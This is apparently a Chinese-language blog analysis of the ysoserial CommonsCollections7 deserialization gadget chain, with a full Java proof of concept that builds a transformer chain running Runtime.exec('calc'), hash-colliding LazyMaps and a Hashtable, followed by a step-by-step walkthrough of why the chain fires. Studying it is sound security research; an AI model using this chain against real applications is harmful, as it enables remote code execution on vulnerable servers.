天天看點

ysoserial CommonsColletions7分析

CC7也是一條比較通用的鍊了,不過對于其原理的話,其實還是挺複雜的。文章如有錯誤,敬請大佬們斧正

CC7利用的是hashtable#readObject作為反序列化入口。AbstractMap的equals來觸發的LazyMap的get方法

POC分析

這條鍊太過于複雜,無法想象大佬們是怎麼樣的思維挖掘出這條鍊的,是以隻能跟着大佬的poc跟着進行調試了分析了

public class CC7 {
    public static void main(String[] args) throws Exception {
        final String[] execArgs = new String[]{"calc"};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                execArgs),
            new ConstantTransformer(1)};

        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        System.out.println(lazyMap1 == lazyMap2);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 1);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);

        lazyMap2.remove("yy");

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
        objectInputStream.readObject();
    }
}
           

前面和其他鍊都一樣,關鍵看後面。這裡構造了兩個LazyMap對象,并且都put進了hashtable中。而hashtable的readObject就是為反序列化的入口。

在readObject方法的最後一行,進入reconstitutionPut方法

ysoserial CommonsColletions7分析

進行判斷tab[index]是否為null,不為null則進入if語句,執行e.key.equals(key),此時的e.key為LazyMap

轉到LazyMap的equals方法,此時的map就是剛開始傳入的HashMap,而參數object就是LazyMap

ysoserial CommonsColletions7分析

轉到HashMap的equals,第495行進行了m.get,而這個m就是LazyMap,進而調用到了LazyMap的get方法

ysoserial CommonsColletions7分析

關于滿足上面調用鍊,要滿足幾個條件

兩個LazyMap的hashcode值要一樣

為了在hashtable數組put第二個LazyMap時候會執行equals方法,是以要進行兩個hash值是相同的。即

lazyMap1.hashCode() == lazyMap2.hashCode()
           

而相同的條件則是裡面的元素值一樣,比如

"zZ".hashCode()和"yy".hashCode()是一樣的

ysoserial CommonsColletions7分析

類似的還有Aa和BB等等

hashtable要put兩次

在反序列時候,執行到reconstitutionPut,需要把第一個LazyMap put進數組。此時進行for循環判斷tab[3]的值為空(null),即不會進入if語句進行判斷,而直接加入lazyMap進行數組到tab[3]的位置

ysoserial CommonsColletions7分析

第二次加入LazyMap,會發現LazyMap已經存在于tab[3]的位置,進而進行hash和equals判斷。兩個lazyMap對象用hashCode拿到的hash值其實是相同的,就會執行lazyMap的equals方法判斷兩個LazyMap。

ysoserial CommonsColletions7分析

e裡面存放的值

ysoserial CommonsColletions7分析

要remove移除LazyMap的值

因為之前在第二次hashtable.put(lazyMap2, 1);時候會進行一次把值加入到m,m.size就成了2,導緻了if語句判斷為真,直接return false中斷了後面m.get的執行,是以要remove第一次put的lazyMap1。接下來看詳細解讀

Hashtable不允許放重複得值,Hashtable進行put的時候,會先比較集合中是否有相同得參數(利用hash值和equals方法比較),如下圖

ysoserial CommonsColletions7分析

第二次hashtable.put時,計算到兩個lazyMap得hash值相同,則再調用lazyMap得equals進行比較,lazyMap得equals方法是繼承至AbstractMapDecorator

ysoserial CommonsColletions7分析

return了map得equals方法,而map得值是在LazyMap.decorate中傳入得hashMap2,為HashMap類型

ysoserial CommonsColletions7分析

檢視HashMap得equals(此方法是繼承自AbstractMap)

ysoserial CommonsColletions7分析

在482行中,此時m值隻有個zZ,size為1

之後把zZ加進了集合後,就有兩個元素了。

後面進行反序列化時候,調用到這裡會出現m.size=2,而size()則是1,導緻了直接return false中斷了後面m.get的執行